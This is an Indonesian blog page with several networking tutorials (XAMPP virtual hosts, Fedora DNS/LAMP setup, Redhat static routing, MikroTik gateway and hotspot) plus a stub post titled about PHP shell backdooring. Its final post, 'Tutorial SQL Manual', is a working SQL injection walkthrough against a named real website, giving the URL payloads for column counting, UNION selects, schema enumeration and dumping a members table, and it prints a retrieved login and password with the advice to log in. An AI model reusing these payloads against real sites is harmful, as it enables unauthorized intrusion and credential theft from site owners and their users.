Tampilkan postingan dengan label Jaringan. Tampilkan semua postingan
Tampilkan postingan dengan label Jaringan. Tampilkan semua postingan

Selasa, 03 Juli 2012

Konfigurasi Virtual Host Multiple Domain Pada Xampp

Konfigurasi Virtual Host Multiple Domain Pada Xampp web desain grafisBagi Anda yang seringkali bercoding ria dengan menggunakan php, ataupun code igniter, ataupunframework php lainnya mungkin pernah berurusan dengan yang namanya virtual host, virtual host sebetulnya merupakan satu buah fitur dari apache webserver yang memungkinkan komputer yang terinstall apache didalamnya memiliki banyak domain dengan menggunakan satu IP saja. Developer membutuhkan fitur ini ketika dia harus berurusan dengan banyak domain dikomputernya. Sebetulnya hasil akhirnya nanti adalah ketika seorang user masuk ke dalam domain www.domain1.com maka tampilan website yang diakses adalah tampilan domain1.com, begitu juga dengan www.domain2.com maka tampilan website yang diakases adalah tampilan domain1.com. Namun bagaimana cara melakukannya??
Aplikasi yang akan kita gunakan adalah Xampp. Xampp merupakan webserver paketan yang didalamnya telah tersedia apache, dengan interpreter php, dan database mysql di dalamnya. Bagi Anda yang belum memiliki xampp, silahkan download xampp disini.
Baik, terdapat dua langkah yang harus Anda lakukan agar xampp di PC/laptop Anda mampu menjalankan multiple domain, pertama adalah melakukan setting pada host file, letak host file tersebut ada di D:WINDOWSsystem32driversetchosts, dan yang kedua adalah melakukan konfigurasi file httpd-vhosts.conf, yang berada di C:xamppapacheconfextrahttpd-vhosts.conf.
Yang pertama harus dilakukan adalah silahkan buka file file hosts yang terletak diD:WINDOWSsystem32driversetchosts dengan menggunakan editor kesayangan Anda, bisa menggunakan notepad, notepad++. Misalkan kita akan menambahkan domain www.wakafquran2.org dan www.bppt.com.
Cukup isikan ini di dalam file hosts.
127.0.0.1?????? localhost
127.0.0.1?????? www.bppt.com
127.0.0.1?????? www.wakafquran2.org


Lakukan save. Kemudian langkah selanjutnya adalah mengedit file httpd-vhosts.conf, yang berada diC:xamppapacheconfextrahttpd-vhosts.conf, direktorinya disesuaikan dengan drive dimana Anda menginstall xampp, standarnya xampp itu terletak di C:. Buka file httpd-vhosts.conf dengan menggunakan notepad, lalu tambahkan di dalamnya seperti ini :
<VirtualHost *:80>
ServerAdmin admin@wakafquran.org
DocumentRoot “D:xampphtdocswakafquran.org”
ServerName www.wakafquran2.org
ServerAlias http://www.wakafquran2.org
<Directory “D:xampphtdocswakafquran.org”>
Options -Indexes
Options FollowSymLinks
AllowOverride All
</Directory>
</VirtualHost>
<VirtualHost *:80>
ServerAdmin admin@bppt.com
DocumentRoot “D:xampphtdocsbppt”
ServerName www.bppt.com
ServerAlias http://www.bppt.com
<Directory “D:xampphtdocsbppt”>
Options -Indexes
Options FollowSymLinks
AllowOverride All
</Directory>
</VirtualHost>
kemudian save, dan restart apache di xampp-control panel.
Jika berhasil maka dua domain tersebut diakses dengan tampilan berbeda sesuai dengan tampilan masing-masing. Selamat Mencoba



By@Si OTAK MATI

Jumat, 10 Juni 2011

Php shell Injection,Php Shell Backdooring,Patching

Ringkasan ini tidak tersedia. Harap klik di sini untuk melihat postingan.

Senin, 16 Mei 2011

Membuat DNS Server, Web Server dan Database Server Menggunakan Linux Fedora 8

  walah udah lama kgk membuka blog ini,maklum sekarang udah kgk pegang internet sendiri jadi kalo mau ngenet ya harus di warnetan.Hemaaatttt beeebbzzzz!!! 


  Berikut ini tutorial yang saya dapatkan di kampus bagaimana cara membuat DNS,web dan database server dari linux Fedora 8,sebetulnya sih saya gak begitu bisa dengan pelajaran ini,mangkanya saya post dalam blog ini mungkin pembaca udah ada yang ahli jadi kan bisa melengkapi post skalian mengajari saya..hehehehehehe!!!ataupun pembaca yang belum mengerti jadi ngerti setelah membaca post ini!!!ok duech langsung ajach yach ke tutornya dibawah ini

DNS Server dan LAMP menggunakan Linux Fedora sebenarnya pernah saya tuliskan pada artikel saya yang terdahulu, tentang DNS Server Linux, Web Server Linux. Dengan tujuan membantu rekan-rekan yang baru saja beralih ke Linux dan kebetulan menggunakan Linux Fedora 8, ada baiknya saya menuliskan artikel ini. Panduan ini untuk kasus sebagai berikut:

  1. Membuat DNS server untuk domain linuxer.local
  2. Membuat DNS server virtual untuk domain fxekobudi.local, sarolangun.local
  3. Membuat Web server untuk domain linuxer.local, fxekobudi.local, dan sarolangun.local
  4. Membuat Database server menggunakan MySQL yang akan digunakan oleh aplikasi open source (WordPress, Joomla, dan Drupal) pembangun situs lokal pada domain yang telah saya sebutkan di atas.
Sebelum mulai melangkah ke konfigurasi DNS dan LAMP (Linux-Apache-PHP-MySQL), berikut ini adalah konfigurasi pada Laptop yang saya gunakan:
IP Loopback: 127.0.0.1
IP Address NIC: 192.168.0.44
Netmask: 255.255.255.192 (/26)
Paket BIND: bind-9.5.0-18.a7, bind-libs-9.5.0-18.a7, bind-utils-9.5.0-18.a7, bind-chroot-9.5.0-18.a7
Paket APACHE: httpd-2.2.6-3, httpd-tools-2.2.6-3, system-config-httpd-1.4.4-1, httpd-manual-2.2.6-3
Paket MySQL: mysql-libs-5.0.45-4.fc8, mysql-5.0.45-4.fc8, mysql-server-5.0.45-4.fc8
Paket PHP: php-common-5.2.4-3, php-5.2.4-3, php-gd-5.2.4-3, php-cli-5.2.4-3, php-mysql-5.2.4-3
Semua paket sudah disertakan dalam DVD Installer Fedora 8, jadi jika belum terinstal, silahkan instal dengan menggunakan media DVD atau bisa juga menggunakan repository Fedora 8. Untuk mengecek apakah sudah terinstal atau belum, gunakan command: $ rpm -qa | grep [nama-paket]
1. DNS SERVER
Instal paket:

# yum install bind bind-libs bind-utils bind-chroot
Tidak seperti pada fedora 7, Anda dapat menemukan named.conf setelah instalasi bind. Sehingga hanya perlu mengedit konfigurasinya saja.
# vim /var/named/chroot/etc/named.conf
options {
listen-on port 53 { 127.0.0.1; };
listen-on-v6 port 53 { ::1; };
directory “/var/named”;
dump-file “/var/named/data/cache_dump.db”;
statistics-file “/var/named/data/named_stats.txt”;
memstatistics-file “/var/named/data/named_mem_stats.txt”;
allow-query { localhost; };
recursion yes;
};
logging {
channel default_debug {
file “data/named.run”;
severity dynamic;
};
};
zone “.” IN {
type hint;
file “named.ca”;
};
include “/etc/named.rfc1912.zones”;
// ————-
// Resolve DNS
// ————-
zone “linuxer.local” IN {
type master;
file “./zone/linuxer.local.zone”;
allow-update { key “rndckey”; };
allow-transfer { 192.168.0/26; };
};
// ————-
// Reverse DNS
// ————-
zone “0.168.192.in-addr.arpa” IN {
type master;
file “./zone/0.168.192.in-addr.arpa.zone”;
allow-update { key “rndckey”; };
allow-transfer { 192.168.0/26; };
};
include “/etc/named.primary.conf”;
Isi file /var/named/chroot/var/named/zone/linuxer.local.zone:
$ttl 38400
@ IN SOA ns.linuxer.local. root.linuxer.local (
1196006770
10800
3600
604800
38400 )
IN NS fxekobudi.linuxer.local.
IN MX 20 mail.linuxer.local.
fxekobudi IN A 192.168.0.44
www IN CNAME fxekobudi
ftp IN CNAME fxekobudi
Isi file /var/named/chroot/var/named/zone/0.168.192.in-addr.arpa.zone:
$ttl 38400
@ IN SOA ns.linuxer.local. root.linuxer.local (
1196006769
10800
3600
604800
38400 )
IN NS fxekobudi.linuxer.local.
44 IN PTR fxekobudi.linuxer.local.
Konfigurasi untuk file /var/named/chroot/etc/named.primary.conf:
# vim /var/named/chroot/etc/named.primary.conf
// —————————-
// Virtual Domain fxekobudi.local
// —————————-
zone “fxekobudi.local” IN {
type master;
file “./zone/fxekobudi.local.zone”;
allow-update { key “rndckey”; };
allow-transfer { 192.168.0/26; };
};
// —————————-
// Virtual Domain sarolangun.local
// —————————-
zone “sarolangun.local” IN {
type master;
file “./zone/sarolangun.local.zone”;
allow-update { key “rndckey”; };
allow-transfer { 192.168.0/26; };
};
Isi file /var/named/chroot/var/named/zone/fxekobudi.local.zone:
$ttl 38400
@ IN SOA ns.linuxer.local. root.linuxer.local (
1196006770
10800
3600
604800
38400 )
IN NS fxekobudi.fxekobudi.local.
IN MX 20 mail.fxekobudi.local.
fxekobudi IN A 192.168.0.44
www IN CNAME fxekobudi
ftp IN CNAME fxekobudi
Isi file /var/named/chroot/var/named/zone/sarolangun.local.zone:
$ttl 38400
@ IN SOA ns.linuxer.local. root.linuxer.local (
1196006770
10800
3600
604800
38400 )
IN NS fxekobudi.sarolangun.local.
IN MX 20 mail.sarolangun.local.
fxekobudi IN A 192.168.0.44
www IN CNAME fxekobudi
ftp IN CNAME fxekobudi
Konfigurasi untuk file /etc/resolv.conf:
search linuxer.local
search fxekobudi.local
search sarolangun.local
nameserver 127.0.0.1
nameserver 192.168.0.44
Tes konfigurasi DNS server:
$ dig linuxer.local
$ nslookup www.linuxer.local
Jalankan daemon DNS server untuk runlevel yang diinginkan:
# /sbin/chkconfig –levels 235 named on
2. WEB SERVER
Instal paket:
# yum install httpd
Edit file konfigurasi apache:
# vim /etc/httpd/conf/httpd.conf
Berikut beberapa konfigurasi yang perlu Anda lakukan:
### Section 1: Global Environment
User apache
Group apache
### Section 2: ‘Main’ server configuration
DocumentRoot “/var/www/html”
<Directory “/var/www/html”>
DirectoryIndex index.html index.html.var index.php
### Section 3: Virtual Hosts
# Konfigurasi virtual host
Include ./conf/vhosts.conf
Buat file virtual host:
# vim /etc/httpd/conf/vhosts.conf
NameVirtualHost 192.168.0.44:80
<VirtualHost 192.168.0.44:80>
ServerAdmin admin@linuxer.local
DocumentRoot /var/www/html
ServerName linuxer.local
ServerAlias www.linuxer.local
ErrorLog logs/error_log
CustomLog logs/access_log combined
</VirtualHost>
<VirtualHost 192.168.0.44:80>
ServerAdmin admin@linuxer.local
DocumentRoot /var/www/html/fxekobudi
ServerName fxekobudi.local
ServerAlias www.fxekobudi.local
ErrorLog logs/fxekobudi.local-error_log
CustomLog logs/fxekobudi.local-access_log combined
</VirtualHost>
<VirtualHost 192.168.0.44:80>
ServerAdmin admin@linuxer.local
DocumentRoot /var/www/html/sarolangun
ServerName sarolangun.local
ServerAlias www.sarolangun.local
ErrorLog logs/sarolangun.local-error_log
CustomLog logs/sarolangun.local-access_log combined
</VirtualHost>
Jalankan daemon web server untuk runlevel yang diinginkan:
# /sbin/chkconfig –levels 235 httpd on
3. DATABASE SERVER
Instal paket:
# yum install mysql-libs mysql mysql-server
Jalankan daemon mysql server untuk runlevel yang diinginkan:
# /sbin/chkconfig –levels 235 mysqld on
Gunakan phpMyAdmin untuk mempermudah administrasi. Baca artikel saya tentang instalasi phpMyAdmin.
Buat user selain root untuk mengakses database, gunakan interface phpMyAdmin saja.
4. PHP
Instal paket:
# yum install php-common php php-gd php-mysql
Untuk edit file php.ini, gunakan command berikut:
vim /etc/php.ini
Pada bagian
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Error handling and logging ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Rubah pada baris 356:
display_errors = On
Pada baris 619, tambahkan extension=gd.so agar script php dapat memanggil modul gd yang akan digunakan untuk Joomla:
;;;;;;;;;;;;;;;;;;;;;;
; Dynamic Extensions ;
;;;;;;;;;;;;;;;;;;;;;;
extension=gd.so



By@Si OTAK MATI

Sabtu, 16 April 2011

Belajar Router static Dengan Redhat

   Sebenarnya article ini saya tidak begitu bisa dan menguasai,tp article nie sumbagan dari temen saya yang master dalam hal ini!!!lok dduech langsung ajach yach gan...

Konfigurasi Network Interface
Dalam Implementasi Router PC
Pada linux Redhat semua komunikasi jaringan terjadi antara interface (NIC) yang telah dikonfigurasi dan peralatan jaringan fisik yang terkoneksi dengan computer.
1. File Scrip Interface
File konfigurasi untuk antarmuka jaringan dan scrip untuk mengaktifkannya terdapat didalam direktori /etc/sysconfig/network-scripts. Secara default pada redhat didalam direktori ini dan direktori lainya terdapat tiga jenis file yaitu : file –file interface configuration, script-script interface control dan file –fole network function, bekerja bersama sama dengan sedemikian rupa hingga linux dapat menggunakan berbagai peralatan jaringan
  • File Konfigurasi Interface
Adalah file yang sangat penting yang digunakan oleh redhat untuk konfigurasi jaringan. Pemahaman terhadap peran file – file ini didalam jaringan akan sangat bermanfaat pada waktu mengatur secare keleluruhan
File tersebut adalah
1. /etc/host untuk meresolve hostname yang tidak dapat diresolve dengan cara lain sebagai contoh ip localhost.
2. /etc/resolv.conf untuk menentukan IP address dari DNS server dan pencarian domain. Dan file ini dibaca pada saat boo.
3. /etc/sysconfig/network untuk menentukan informasi routing dalam host untuk semua antarmuka.
4. /etc/sysconfig/network-scripts/ifcfg<nama-interface> digunakan untuk file yang terdapat pada satu file.
 Intreface Ethernet
Satu lagi file antar muka yang cukup popular adalah ifcfg-eth0, yang menandai network interface card (NIC atau Ethernet Card) pertama yang tedapat pada system. Dalam system yang mempunyai Ethernet lebih dari satu maka akan menampilkan nomor nomor sesuai dengan jumlah NIC.
Berikut ini adalah contoh file ifcfg-eth0 untuk system yang menggunakan IP addresstetap
DEVICE=eth0
BOOTPROTO=none
ONBOOT=yes
NETWORK=192.168.0.0
NETMASK=255.255.255.0
IPADDR=192.168.0.254
USERCTL=no
Nilai – nilai yang ditulis didalam file konfigurasi interface dapat diubah sesuai dengan kebutuhan. Sehingga contoh file ifcfg-eth0 untuk antar muka yang menggunakan DHCP terlihat sedikit berbeda karena informasi IP address disediakan oleh DHCP sever:
DEVICE=eth0
BOOTPROTO=dhcp
ONBOOT=yes
Selain cara diatas anda bisa menggunakan tool GUI diantaranya adalah tool Network Configuration
Parameter yang ada dalam file configuration
1. BOOTPROTO=<protocol>, dimana <protocol> adalah sebagai berikut :
  • none :tidak ada protocol boot time yang disediakan
  • bootp : menggunakan protocol boop
  • dhcp : menggunakan protocol boot DHCP
2. BROADCAST=<address>dimana <address>merupakan alamat broadcast.
3. DEVICE=<number> dimana <name> adalah nama peralatan fisik ( bukan dinamis seperti peralatan PPP yang dialokasikan oleh ISP dan berupa nama logis).
4. DNS{1,2}=<address>dimana <address> adalah nama alamat name server yang diletakan pada file /etc/resolv.conf jika direktif PEERDNS diset menjadi yes
5. IPADDR=<address> dimana <address> adalah alamat IP yang akan digunakan oleh Ethernet
6. NETMASK=<mask> diaman <mask> adalah nilai subnetmask
7. NETWORK=<address> dimana <address>adalah IP address jaringan
8. ONBOOT=<answer> dimana <answer> adalah salah satu dibawah ini :
  • yes = peralatan ini aktif saat boot
  • no = peralatan ini tidak diaktifkan pada saat boot
9. PEERDNS=<answer> dimana <answer> adalah nilai salah satu dibawah ini :
  • yes = memodifikasi /etc/resolv.conf jika diaktifkan dns set. jika anda menggunakan dhcp maka yes merupakan defaultnya
  • no = tidak memodifikasi /etc/resolv.conf
10. SRCADDR =<address> dimana <address> adalah source yang ditentukan untuk paket luar
11. USERTL=<answer> adalah <answer> adalah salah satu nilai berikut :
  • yes = user non root diijinkan mengatur peralatan lain
  • no = user non root tidak diijinkan mengatur perlatan
2. Praktek Jaringan Router static
1. Periksa peralatan dalam PC harus mempunyai 2 buah eth0 atau eth1 dan dapat berfungsi dengan baik.
2. Masuk keterminal dan masuk sebagi user root
3. Periksa apakah NIC dapat terbaca dan dapat menempilkan informasi dengan cars sebagai berikut :
#dmesg |grep eth
4. Dengan menggunakan teks editor yang ada lakukan pengesetan sebagai berikut :
# vi /etc/sysconfig/network-scripts/ifcfg-eth0
DEVICE=eth0
BOOTPROTO=none
ONBOOT=yes
NETWORK=192.168.0.0
NETMASK=255.255.255.0
IPADDR=192.168.0.254
USERCTL=no
Seting pula eth1
# vi /etc/sysconfig/network-scripts/ifcfg-eth1
DEVICE=eth1
BOOTPROTO=none
ONBOOT=yes
NETWORK=10.252.0.0
NETMASK=255.255.255.0
IPADDR=10.252.0.254
USERCTL=no
Ket :
Jika sudah masuk ke vi / vim ingin mengedit tekan i lakukan pengeditan terhadap kedua file tersebut. Jika sudah dilakukan pengeditan simpan dan keluar dengan menekan Esc :wq
5. Aktifkan forward dengan megedit file scripts yang telah ada /etc/sysconfig/network sehingga dapat terdapat basis sebagai berikut :
FORWARD_IPV4=true
Jika tidak ada lakukan dibawah ini
6. Jika mau mengedit file yang telah ada /etc/sysctl.conf dan anda tinggal mengubah nilai false menjadi true.
net.ipv4.ipforward=1
7. Lakukan pengecekan apakah forward sudah berhasil atau belum dan nilainya harus 1.
#cat /proc/sys/net/ipv4/ip_forward
8. Jika belum lakukan restar terhadap konfigurasi tersebut
#/etc/init.d/network restart
9. Cek ulang apakah sudah berhasil atau belum



By@Si OTAK MATI

Jumat, 15 April 2011

Install Mikrotik Sebagai Gatway

Langkah-langkah berikut adalah dasar-dasar setup mikrotik yang dikonfigurasikan untuk jaringan sederhana sebagai gateway server.

1. Langkah pertama adalah install Mikrotik RouterOS pada PC

2. Login Pada Mikrotik Routers melalui console :

MikroTik v2.9.7
Login: admin 
Password: (kosongkan) 

Sampai langkah ini kita sudah bisa masuk pada mesin Mikrotik. User default adalah admin
dan tanpa password, tinggal ketik admin kemudian tekan tombol enter.

3. Untuk keamanan ganti password default
[admin@Mikrotik] > password
old password: *****
new password: *****
retype new password: *****
[admin@ Mikrotik]] >

4. Mengganti nama Mikrotik Router, pada langkah ini nama server akan diganti menjadi “killnine” (nama ini bebas terserah kalau mau diganti)
[admin@Mikrotik] > system identity set name=killnine
[admin@killnine] >

5. Melihat interface pada Mikrotik Router
[admin@killnine] > interface print
Flags: X – disabled, D – dynamic, R – running
# NAME TYPE RX-RATE TX-RATE MTU
0 R ether1 ether 0 0 1500
1 R ether2 ether 0 0 1500
[admin@killnine] >

6. Memberikan IP address pada interface Mikrotik. Misalkan ether1 akan kita gunakan untuk koneksi ke Internet dengan IP 192.168.0.1 dan ether2 akan kita gunakan untuk network local kita dengan IP 192.168.0.254

[admin@killnine] > ip address add address=192.168.0.1
netmask=255.255.255.0 interface=ether1
[admin@killnine] > ip address add address=192.168.0.254
netmask=255.255.255.0 interface=ether2

7. Melihat konfigurasi IP address yang sudah kita berikan
[admin@killnine] >ip address print
Flags: X – disabled, I – invalid, D – dynamic
# ADDRESS NETWORK BROADCAST INTERFACE
0 192.168.0.1/24 192.168.0.0 192.168.0.63 ether1
1 192.168.0.254/24 192.168.0.0 192.168.0.255 ether2
[admin@killnine] >

8. Memberikan default Gateway, diasumsikan gateway untuk koneksi internet adalah 192.168.1.1
[admin@killnine] > /ip route add gateway=192.168.1.1

9. Melihat Tabel routing pada Mikrotik Routers

[admin@killnine] > ip route print
Flags: X – disabled, A – active, D – dynamic,
C – connect, S – static, r – rip, b – bgp, o – ospf
# DST-ADDRESS PREFSRC G GATEWAY DISTANCE INTERFACE
0 ADC 192.168.0.0/24 192.168.0.254 ether2
1 ADC 192.168.0.0/24 192.168.0.1 ether1
2 A S 0.0.0.0/0 r 192.168.1.1 ether1
[admin@killnine] >

10. Tes Ping ke Gateway untuk memastikan konfigurasi sudah benar

[admin@killnine] > ping 192.168.1.1
192.168.1.1 64 byte ping: ttl=64 time<1>
192.168.1.1 64 byte ping: ttl=64 time<1>
2 packets transmitted, 2 packets received, 0% packet loss
round-trip min/avg/max = 0/0.0/0 ms
[admin@killnine] >

11. Setup DNS pada Mikrotik Routers
[admin@killnine] > ip dns set primary-dns=202.134.0.155 allow-remoterequests=no
[admin@killnine] > ip dns set secondary-dns=202.134.1.10 allow-remoterequests=no

12. Melihat konfigurasi DNS
[admin@killnine] > ip dns print
primary-dns: 202.134.0.155
secondary-dns: 202.134.1.10
allow-remote-requests: no
cache-size: 2048KiB
cache-max-ttl: 1w
cache-used: 16KiB
[admin@killnine] >

13. Tes untuk akses domain, misalnya dengan ping nama domain
[admin@killnine] > ping yahoo.com
216.109.112.135 64 byte ping: ttl=48 time=250 ms
10 packets transmitted, 10 packets received, 0% packet loss
round-trip min/avg/max = 571/571.0/571 ms
[admin@killnine] >

Jika sudah berhasil reply berarti seting DNS sudah benar.

14. Setup Masquerading, Jika Mikrotik akan kita pergunakan sebagai gateway server maka agar client computer pada network dapat terkoneksi ke internet perlu kita masquerading.
[admin@killnine]> ip firewall nat add action=masquerade outinterface=
ether1 chain:srcnat
[admin@killnine] >

15. Melihat konfigurasi Masquerading
[admin@killnine]>ip firewall nat print
Flags: X – disabled, I – invalid, D – dynamic
0 chain=srcnat out-interface=ether1 action=masquerade
[admin@XAVIERO] >

Setelah langkah ini bisa dilakukan pemeriksaan untuk koneksi dari jaringan local. Dan jika berhasil berarti kita sudah berhasil melakukan instalasi Mikrotik Router sebagai Gateway server.



By@Si OTAK MATI

Membangun Hotspot Mikrotik Dengan Ruoter OS

MikroTikRouterOS™ merupakansistemoperasiLinuxbase yang diperuntukkan sebagai network router.Didesain untuk memberikan kemudahan bagi penggunanya. Administrasinyabisa dilakukan melalui Windowsapplication (WinBox). Selain itu instalasi dapat dilakukan padastandard computer PC. PC yang akan dijadikan router mikrotikpun tidakmemerlukan resource yang cukup besar untuk penggunaan standard,misalnya hanya sebagai gateway.Untuk keperluan beban yang besar ( network yang kompleks, routingyang rumit dll) disarankan untuk mempertimbangkan pemilihan resourcePC yang memadai.
Fasilitaspada mikrotik antara lain sebagai berikut :
  • Protokoll routing RIP, OSPF, BGP.
  • Statefull firewall
  • Hotspot for Plug-and-Play access
  • remote winbox GUI admin
Tutorial lengkap hotspot MikroTik bisa di download disini



By@Si OTAK MATI

Tutorial SQL Manual

Target : http://www.natoleo.com/Content.php?id=14
1. Cek bug pada suatu website dengan menambahkan single quote ( ' ) dibelakang url, ternyata terdapat bug pada http://www.natoleo.com
muncul pesan error: MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' order by a.content_order Asc' at line 1)

2. Untuk mencari column gunakan perintah [order by].order by 1--dimulai dengan angka 1, selanjutnya 2, dst sampe muncul pesan errorpada target kita kali ini, error muncul pada angka 6. MySQL Error: 1054 (Unknown column '6' in 'order clause')
http://www.natoleo.com/Content.php?id=14 order by 5--
jadi angka yang diambil adalah 6-1 = 5 (jumlah column adalah 5)

3. Selanjutnya kita akan mencari "angka ajaib" dimana kita bisa melakukan injection dengan perintah [union all select]. Jangan lupa tambahkan tanda kurang ( - ) didepan angka parameter id=14 menjadi id=-14
http://www.natoleo.com/Content.php?id=-14 union all select 1,2,3,4,5--
akan muncul "angka ajaib" : 1

4. Selanjutnya kita cari versi Database MySql-nya dengan perintah "version()" pada angka 1.
http://www.natoleo.com/Content.php?id=-14 union all select version(),2,3,4,5--
muncul tulisan :5.0.51a-community

5. Selanjutnya kita akan mencari table-nya dgn perintah "group_concat(table_name)" pada salah satu angka ajaib dan " from information_schema.tables where table_schema=database()--" di belakang angka 5
http://www.natoleo.com/Content.php?id=-14 union all select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=database()--
muncul nama-nama table: ad_categories,ads,alaris_menu,alaris_sub2_menu,alaris_sub_menu,alaris_users,articles,categories,category_types,club_statuses,config,content,course_welcome,emails,er_setting,event_registrations,events,forums,headercontent,kiteads_acls,kiteads_adclicks,kiteads_adstats,kiteads_adviews,kiteads_affiliates,kiteads_banners,kiteads_cache,kiteads_clients,kiteads_config,kiteads_images,kiteads_session,kiteads_targetstats,kiteads_userlog,kiteads_zones,link_categories,links,links2,linkspic,lookup_countries,lookup_states,members,messages,news,newsletter,pack_grp,pack_lists,package,products,users_group,welcome

6. Selanjutnya kita cari column dari table yg ada hubungannya dengan user dan password,kali ini kita ambil table "members"sebelumnya kita convert dulu ke hexa agar dapat dibaca oleh Sql di sini :http://undana.ac.id/images/upload/test.html : pada ascii text ketik members lalu klik encode. hasilnya di kolom Hex Value : 6D656D62657273
Perintah selanjutnya adalah "group_concat(column_name)" pada angka ajaib 1 dan " from information_schema.columns where table_name=0xHexa--" di akhir URL yaitu 6D656D62657273
tambahkan 0x didepan hexa agar server dapat mengetahui bahwa itu telah diconvertke hexa.
http://www.natoleo.com/Content.php?id=-14 union all select group_concat(column_name),2,3,4,5 from information_schema.columns where table_name=0x6D656D62657273--
muncul column: member_id,member_first_name,member_last_name,member_login,member_password,member_email,country_id,state_id,member_city,member_zip,member_address1,member_address2,member_address3,member_ph_work,member_ph_work_ext,member_phone_home,member_phone_addl,member_fax,picture_url,website_url,club_status_id,member_date_added,security_level_id
kita ambil : member_login,member_password

7. Untuk melihat isi dari kedua column tersebut gunakan perintah "group_concat(column1,0x3a,column2)" pada angka ajaib 1 dan from NAMATABLE-- pada akhir URL
ganti column1 dengan "member_login" dan column2 dengan "member_password". 0x3a adalah tanda titik dua ( : ) yang telah diconvert ke hexa. NAMA TABLE diganti dengan "members" untuk mengambil informasi dari table yang bernama"members"
http://www.natoleo.com/Content.php?id=-14 union all select group_concat(member_login,0x3a,member_password),2,3,4,5 from members--
hasilnya akan muncul:
user: wilmarnatoleo
pass: natoleoP@ssword
sekarang tinggal login ke website target..



By@Si OTAK MATI

 
Design by Free NATTA Themes | Powerted by NATTA - Premium WordPress Themes | SiotakMati Corpuration